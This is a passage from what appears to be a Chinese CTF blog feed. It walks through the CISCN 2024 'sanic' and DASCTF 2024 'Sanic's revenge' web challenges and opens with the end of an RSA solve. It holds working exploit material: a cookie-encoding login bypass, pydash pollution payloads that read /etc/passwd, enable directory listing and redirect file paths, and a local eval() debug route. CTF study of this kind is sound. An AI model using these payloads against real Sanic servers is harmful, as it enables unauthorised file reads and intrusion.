gmpy2.invert(e//_gcd, phi)</span><br><span class="line">m_gcd = gmpy2.powmod(c, d, n)</span><br><span class="line">m = gmpy2.iroot(m_gcd, _gcd) <span class="comment"># 得到元组 (mpz(1920535408007397829480400151650246901210634018403879187581), True)</span></span><br><span class="line">flag = libnum.n2s(<span class="built_in">int</span>(m[<span class="number">0</span>]))</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h2 id="RSA1-P1"><a class="headerlink" href="#RSA1-P1"></a>[RSA1]P1</h2>
<p>发现源码直接给我了p,q,e,c,那就很简单了，我们求出phi,N就可以通过inverse函数拿到phi的逆元d，这样就可以直接</summary>
<category term="Crypto" scheme="http://fault123.github.io/tags/Crypto/"/>
</entry>
<entry>
<title>DASCTF 2024 七月赛 web Sanic's revenge&&ciscn 2024 sanic的复盘</title>
<link href="http://fault123.github.io/2024/07/23/DASCTF%202024%20%E4%B8%83%E6%9C%88%E8%B5%9B%20web%20Sanic's%20revenge&&ciscn%202024%20sanic%E7%9A%84%E5%A4%8D%E7%9B%98/"/>
<id>http://fault123.github.io/2024/07/23/DASCTF%202024%20%E4%B8%83%E6%9C%88%E8%B5%9B%20web%20Sanic's%20revenge&&ciscn%202024%20sanic%E7%9A%84%E5%A4%8D%E7%9B%98/</id>
<published>2024-07-22T16:00:00.000Z</published>
<updated>2024-07-29T14:47:25.189Z</updated>
<content type="html"><![CDATA[<blockquote><p>[!NOTE] 一些小小的碎碎念<br>第一次看到sanic其实是不知所措的，感觉这个虽然是眼熟，但也仅限于眼熟，显而易见的，国赛没有做出来，也因为一些心态问题没有做复盘，时隔近两月，慢慢调整好心态后终于是借着gxn师傅的Sanic revenge进行了整体的复盘</p></blockquote><p>这里放上gxn师傅的博客</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://www.cnblogs.com/gxngxngxn/p/18205235</span><br><span class="line">https://www.cnblogs.com/gxngxngxn/p/18290489</span><br></pre></td></tr></table></figure><h2 id="ciscn2024-sanic"><a class="headerlink" href="#ciscn2024-sanic"></a>ciscn2024 sanic</h2><p>源码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> text, html</span><br><span class="line"><span class="keyword">from</span> sanic_session <span class="keyword">import</span> Session</span><br><span class="line"><span class="keyword">import</span> pydash</span><br><span class="line"><span class="comment"># pydash==5.1.2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Pollute</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Sanic(__name__)</span><br><span class="line">app.static(<span class="string">"/static/"</span>, <span class="string">"./static/"</span>)</span><br><span class="line">Session(app)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">return</span> html(<span class="built_in">open</span>(<span class="string">'static/index.html'</span>).read())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/login"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">request</span>):</span><br><span class="line"> user = request.cookies.get(<span class="string">"user"</span>)</span><br><span class="line"> <span class="keyword">if</span> user.lower() == <span class="string">'adm;n'</span>:</span><br><span class="line"> request.ctx.session[<span class="string">'admin'</span>] = <span class="literal">True</span></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"login success"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"login fail"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/src"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">src</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">return</span> text(<span class="built_in">open</span>(__file__).read())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/admin"</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">admin</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">if</span> request.ctx.session.get(<span class="string">'admin'</span>) == <span class="literal">True</span>:</span><br><span class="line"> key = request.json[<span class="string">'key'</span>]</span><br><span class="line"> value = request.json[<span class="string">'value'</span>]</span><br><span class="line"> <span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">'_.'</span> <span class="keyword">not</span> <span class="keyword">in</span> key:</span><br><span class="line"> pollute = Pollute()</span><br><span class="line"> pydash.set_(pollute, key, value)</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"success"</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"forbidden"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"forbidden"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">'0.0.0.0'</span>)</span><br></pre></td></tr></table></figure><p>这里我卡住的第一个点就是对于adm;n的校验（国赛我就卡在了这里）因为这个是cookie，而我们又知道cookie的分隔符就是;，那么这里我们需要利用RFC2068 的编码规则，对;进行八进制转化，也就是转化为<code>adm\073n</code>就可以了<br>我们先尝试一下<br><img src="/images/Pasted%20image%2020240722192644.png" alt="" loading="lazy"><br>我们发现可以成功绕过，于是继续往下走，去污染，发现源码在这里过滤了_.的组合</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">'_.'</span> <span class="keyword">not</span> <span class="keyword">in</span> key:</span><br></pre></td></tr></table></figure><p>所以我们可以使用<code>_\\\\.</code>去绕过，所以我们可以使用这个payload进行任意文件读取</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}</span><br></pre></td></tr></table></figure><p>之后发现可以任意文件读取，但是无法知道flag的位置和文件名，尝试读取/flag未果后猜测需要列举目录<br>看了gxn师傅的博客发现是需要看app.static这个注册路由的功能，源码如下<br><img src="/images/Pasted%20image%2020240722194244.png" alt="" loading="lazy"><br>我们去看看下方的注释里怎么解释这几个参数的吧<br><img src="/images/Pasted%20image%2020240722194334.png" alt="" loading="lazy"><br>这里需要让directory_view为True才能开启目录列举，而directory_handler可以指定列举的目录，于是我们继续跟进这里的directory_view<br><img src="/images/Pasted%20image%2020240722194622.png" alt="" loading="lazy"><br>到了这里我们如何指定目录的方法也就明晰了，我们需要污染这里的directory和directory_view，前者为目录，后者为True，所以我们尝试看看怎么获取到static这个路由注册，这样我们就可以获取到我们想要的值<br>我们修改源码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> text, html</span><br><span class="line"><span class="keyword">from</span> sanic_session <span class="keyword">import</span> Session</span><br><span class="line"><span class="keyword">import</span> pydash</span><br><span class="line"><span class="comment"># pydash==5.1.2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Pollute</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Sanic(__name__)</span><br><span class="line">app.static(<span class="string">"/static/"</span>, <span class="string">"./static/"</span>)</span><br><span class="line"><span class="comment"># Session(app)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># @app.route('/', methods=['GET', 'POST'])</span></span><br><span class="line"><span class="comment"># async def index(request):</span></span><br><span class="line"><span class="comment"># return html(open('static/index.html').read())</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># @app.route("/login")</span></span><br><span class="line"><span class="comment"># async def login(request):</span></span><br><span class="line"><span class="comment"># user = request.cookies.get("user")</span></span><br><span class="line"><span class="comment"># if user.lower() == 'adm;n':</span></span><br><span class="line"><span class="comment"># request.ctx.session['admin'] = True</span></span><br><span class="line"><span class="comment"># return text("login success")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># return text("login fail")</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/src"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">src</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="comment"># return text(open(__file__).read())</span></span><br><span class="line"> <span class="built_in">eval</span>(request.args.get(<span class="string">"fault"</span>))</span><br><span class="line"> <span class="keyword">return</span> text(<span class="built_in">open</span>(__file__).read())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># @app.route("/admin", methods=['GET', 'POST'])</span></span><br><span class="line"><span class="comment"># async def admin(request):</span></span><br><span class="line"><span class="comment"># if request.ctx.session.get('admin') == True:</span></span><br><span class="line"><span class="comment"># key = request.json['key']</span></span><br><span class="line"><span class="comment"># value = request.json['value']</span></span><br><span class="line"><span class="comment"># if key and value and type(key) is str and '_.' not in key:</span></span><br><span class="line"><span class="comment"># pollute = Pollute()</span></span><br><span class="line"><span class="comment"># pydash.set_(pollute, key, value)</span></span><br><span class="line"><span class="comment"># return text("success")</span></span><br><span class="line"><span class="comment"># else:</span></span><br><span class="line"><span class="comment"># return text("forbidden")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># return text("forbidden")</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">'0.0.0.0'</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后使用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">8000</span>/src?fault=<span class="built_in">print</span>(app.router.name_index)</span><br></pre></td></tr></table></figure><p>来列举注册过的路由，控制台回显如下<br><img src="/images/Pasted%20image%2020240722200202.png" alt="" loading="lazy"><br>所以我们的名字就是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__mp_main__.static</span><br></pre></td></tr></table></figure><p>然后我们通过索引去访问键值</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:8000/src?fault=print(app.router.name_index[%27__mp_main__.static%27])</span><br></pre></td></tr></table></figure><p><img src="/images/Pasted%20image%2020240722200334.png" alt="" loading="lazy"><br>但是我们的目的是要修改directory和directory_view，那么我们怎么获取到他们呢<br>这里就用到了name_index，在这里打断点看看(这里强烈建议使用pycharm)<br><img src="/images/Pasted%20image%2020240722203749.png" alt="" loading="lazy"><br>这里我们找到了self.name_index[name]=route于是我们在这里下断点看看<br><img src="/images/Pasted%20image%2020240722203956.png" alt="" loading="lazy"><br><img src="/images/Pasted%20image%2020240722204924.png" alt="" loading="lazy"><br>我们发现handler可以获取到路由的状态，于是我们可以通过污染这个属性中的变量来达到我们方才分析的目的<br>于是我们接着尝试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:8000/src?fault=print(app.router.name_index["__mp_main__.static"].handler.keywords["directory_handler"])</span><br></pre></td></tr></table></figure><p><img src="/images/Pasted%20image%2020240722205432.png" alt="" loading="lazy"><br>我们发现可以成功的调到这里，那么我们就可以通过污染它的值来进行利用<br>污染的payload如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>（这里使用bp发包，也不知道我的hackbar有什么毛病）<br>发现回显为success，也就证明我们开启了目录列举功能<br>那么我们下一步的目标也很明确，就是污染到directory<br><img src="/images/Pasted%20image%2020240722211223.png" alt="" loading="lazy"><br>我们尝试和刚才一样，直接污染directory，我们会发现方才的directory_view只是一个值，但是directory却是一个turple，所以我们没有办法直接去污染，我们找找看这个turple是在哪里被赋值的<br><img src="/images/Pasted%20image%2020240722212224.png" alt="" loading="lazy"></p><p><img src="/images/Pasted%20image%2020240722212210.png" alt="" loading="lazy"><br>我们可以看到，这个parts的值其实最后是给了_parts<br>于是我们访问这个值看看</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">print(app.router.name_index["__mp_main__.static"].handler.keywords["directory_handler"].directory._parts)</span><br></pre></td></tr></table></figure><p><img src="/images/Pasted%20image%2020240722212909.png" alt="" loading="lazy"><br>这里可能会有疑问，就是为什么非要去找这个_parts不可，而不是直接去污染这个parts，那么我们就要提到python中最基础的问题，turple和list的区别，如果我们去访问parts这个值，我们会发现返回值如下<br><img src="/images/Pasted%20image%2020240722215443.png" alt="" loading="lazy"><br>所以这也就是为什么我们需要找到_parts这个值不可了，一切的问题解决，我们的payload也呼之欲出</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}</span><br></pre></td></tr></table></figure><p><img src="/images/Pasted%20image%2020240722220557.png" alt="" loading="lazy"><br>如果我们要得到flag文件，还需要进行一次污染</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}</span><br></pre></td></tr></table></figure><p>这样我们就可以在/src路由中得到flag了</p><h2 id="DASCTF-2024-七月赛-web-Sanic’s-revenge"><a class="headerlink" href="#DASCTF-2024-七月赛-web-Sanic’s-revenge"></a>DASCTF 2024 七月赛 web Sanic’s revenge</h2><p>这个题目是gxn师傅基于自己的另一个探索，也就是这道题的考点了<br>我们先看题目中可以直接获得的源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> text, html</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> pydash</span><br><span class="line"><span class="comment"># pydash==5.1.2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里的源码好像被admin删掉了一些，听他说里面藏有大秘密</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Pollute</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">app = Sanic(__name__)</span><br><span class="line">app.static(<span class="string">"/static/"</span>, <span class="string">"./static/"</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/*****secret********"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">secret</span>(<span class="params">request</span>):</span><br><span class="line"> secret=<span class="string">'**************************'</span></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"can you find my route name ???"</span>+secret)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">return</span> html(<span class="built_in">open</span>(<span class="string">'static/index.html'</span>).read())</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/pollute"</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">POLLUTE</span>(<span class="params">request</span>):</span><br><span class="line"> key = request.json[<span class="string">'key'</span>]</span><br><span class="line"> value = request.json[<span class="string">'value'</span>]</span><br><span class="line"> <span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">'parts'</span> <span class="keyword">not</span> <span class="keyword">in</span> key <span class="keyword">and</span> <span class="string">'proc'</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(value) <span class="keyword">and</span> <span class="built_in">type</span>(value) <span class="keyword">is</span> <span class="keyword">not</span> <span class="built_in">list</span>:</span><br><span class="line"> pollute = Pollute()</span><br><span class="line"> pydash.set_(pollute, key, value)</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"success"</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> log_dir = create_log_dir(<span class="number">6</span>)</span><br><span class="line"> log_dir_bak = log_dir + <span class="string">".."</span></span><br><span class="line"> log_file = <span class="string">"/tmp/"</span> + log_dir + <span class="string">"/access.log"</span></span><br><span class="line"> log_file_bak = <span class="string">"/tmp/"</span> + log_dir_bak + <span class="string">"/access.log.bak"</span></span><br><span class="line"> log = <span class="string">'key: '</span> + <span class="built_in">str</span>(key) + <span class="string">'|'</span> + <span class="string">'value: '</span> + <span class="built_in">str</span>(value);</span><br><span class="line"> <span class="comment"># 生成日志文件</span></span><br><span class="line"> os.system(<span class="string">"mkdir /tmp/"</span> + log_dir)</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(log_file, <span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(log)</span><br><span class="line"> <span class="comment"># 备份日志文件</span></span><br><span class="line"> os.system(<span class="string">"mkdir /tmp/"</span> + log_dir_bak)</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(log_file_bak, <span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(log)</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"！！！此地禁止胡来，你的非法操作已经被记录！！！"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">'0.0.0.0'</span>)</span><br></pre></td></tr></table></figure><p>这段源码不难审计，但是最重要的点就是我们需要对这个file_or_directory的源码的审计<br>我们继续去审计原来的代码</p><blockquote><p>疑问解答（感谢万能的晨曦✌）<br>Q:这个handle在哪儿调用了呀就要看这里<br>A:我们发现当用户请求一个目录，sanic路由系统匹配到静态文件服务路由，就会调用 <code>_static_request_handler</code>方法，这个方法中会调用handle方法，而执行这里<img src="/images/Pasted%20image%2020240722232106.png" alt="" loading="lazy"><br>代码的要求是directory_view为true</p></blockquote><p>解决了这个问题，我们接下来看一些代码里的问题<br><img src="/images/Pasted%20image%2020240722234752.png" alt="" loading="lazy"><br>如果directory_view是true，就会进入_index，我们去看看_index<br><img src="/images/Pasted%20image%2020240723000019.png" alt="" loading="lazy"><br>前面的路径就是由directory+current拼接起来的<br>所以我们如果可以控制current的值，也就可以实现目录穿越了<br>那么我们来看看current的处理逻辑<br><img src="/images/Pasted%20image%2020240723000458.png" alt="" loading="lazy"><br>它其实是依赖于base和path的，那么如果我们可以控制这俩，我们就可以控制current</p><h3 id="path"><a class="headerlink" href="#path"></a>path</h3><p>path来说，它就是我们网页访问的路径，是可控的</p><h3 id="base"><a class="headerlink" href="#base"></a>base</h3><p>base是属性，可以被污染，所以也是可控的<br>那么我们就可以做到控制current了</p><blockquote><p>举个栗子，比如说我的path是/static/fault…/，base是/static时，current是fault…，那么如果我让base是static/fault，那么current就是…了</p></blockquote><p>==所以结合题目情况的总的思路就是，先开启目录列举，再构造或者找出一个带…的path，然后污染base使得current为…，这样就可以穿越到上层目录中实现列目录了==</p><p>那么我们结合这道题目来看的话，有两个容易卡住的点，一个就是waf不同于sanic，这道题的waf是这样的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">'parts'</span> <span class="keyword">not</span> <span class="keyword">in</span> key <span class="keyword">and</span> <span class="string">'proc'</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(value) <span class="keyword">and</span> <span class="built_in">type</span>(value) <span class="keyword">is</span> <span class="keyword">not</span> <span class="built_in">list</span>:</span><br></pre></td></tr></table></figure><p>这道题的parts和proc是用来触发非法操作来让它记录的，这样我们就可以在adminLook中得到带有…的目录，从而构造出我们需要的current<br>第二个容易卡住的点就是如何才能知道需要列目录，这个就得用到file_or_directory比较简单的用法就是直接污染file_or_directory到根目录，这样就可以实现任意文件读取，通过读取proc/1/cmdline(梦回maple✌在我大一时候出的题)就可以找到start.sh从而找到python文件名，从而发现hint和完整python源码<br>完整源码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> text, html</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> pydash</span><br><span class="line"></span><br><span class="line"><span class="comment"># pydash==5.1.2</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#源码好像被admin删掉了一些，听他说里面藏有大秘密</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Pollute</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_log_dir</span>(<span class="params">n</span>):</span><br><span class="line"> ret = <span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n):</span><br><span class="line"> num = random.randint(<span class="number">0</span>, <span class="number">9</span>)</span><br><span class="line"> letter = <span class="built_in">chr</span>(random.randint(<span class="number">97</span>, <span class="number">122</span>))</span><br><span class="line"> Letter = <span class="built_in">chr</span>(random.randint(<span class="number">65</span>, <span class="number">90</span>))</span><br><span class="line"> s = <span class="built_in">str</span>(random.choice([num, letter, Letter]))</span><br><span class="line"> ret += s</span><br><span 